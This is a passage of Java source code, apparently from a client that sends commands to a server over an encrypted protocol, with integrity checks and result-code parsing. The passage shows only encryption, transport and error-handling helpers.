ProtocolException { checkOk(result); } // ****************************** INTERNALS ***************************** // /** * Command. * * @param command the command * @return the byte[] * @throws TransportException the transport exception * @throws ProtocolException the protocol exception */ private byte[] command(final int command) throws TransportException, ProtocolException { return command(command, new byte[0]); } /** * Command. * * @param command the command * @param data the data * @return the byte[] * @throws TransportException the transport exception */ private byte[] command(final int command, final byte[] data) throws TransportException { if (Cfg.DEBUG) { Check.requires(cryptoK != null, "cypherCommand: cryptoK null"); //$NON-NLS-1$ } if (Cfg.DEBUG) { Check.requires(data != null, "cypherCommand: data null"); //$NON-NLS-1$ } final int dataLen = data.length; final byte[] plainOut = new byte[dataLen + 4]; System.arraycopy(ByteArray.intToByteArray(command), 0, plainOut, 0, 4); System.arraycopy(data, 0, plainOut, 4, data.length); try { byte[] plainIn; plainIn = cypheredWriteReadSha(plainOut); return plainIn; } catch (final CryptoException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error: scommand: " + e); //$NON-NLS-1$ } throw new TransportException(9); } } /** * Cyphered write read. * * @param plainOut the plain out * @return the byte[] * @throws TransportException the transport exception * @throws CryptoException the crypto exception */ private byte[] cypheredWriteRead(final byte[] plainOut) throws TransportException, CryptoException { final byte[] cypherOut = cryptoK.encryptData(plainOut); final byte[] cypherIn = transport.command(cypherOut); final byte[] plainIn = cryptoK.decryptData(cypherIn); return plainIn; } /** * Cyphered write read sha. * * @param plainOut the plain out * @return the byte[] * @throws TransportException the transport exception * @throws CryptoException the crypto exception */ private byte[] cypheredWriteReadSha(final byte[] plainOut) throws TransportException, CryptoException { final byte[] cypherOut = cryptoK.encryptDataIntegrity(plainOut); final byte[] cypherIn = transport.command(cypherOut); if (cypherIn.length < SHA1LEN) { if (Cfg.DEBUG) { Check.log(TAG + " Error: cypheredWriteReadSha: cypherIn sha len error!"); //$NON-NLS-1$ } throw new CryptoException(); } final byte[] plainIn = cryptoK.decryptDataIntegrity(cypherIn); return plainIn; } /** * Check ok. * * @param result the result * @return true, if successful * @throws ProtocolException the protocol exception */ private boolean checkOk(final byte[] result) throws ProtocolException { final int res = ByteArray.byteArrayToInt(result, 0); if (res == Proto.OK) { return true; } else if (res == Proto.NO) { if (Cfg.DEBUG) { Check.log(TAG + " Error: checkOk: NO"); //$NON-NLS-1$ } return false; } else { if (Cfg.DEBUG) { Check.log(TAG + " Error: checkOk: " + res); //$NON-NLS-1$ } throw new ProtocolException(); } } }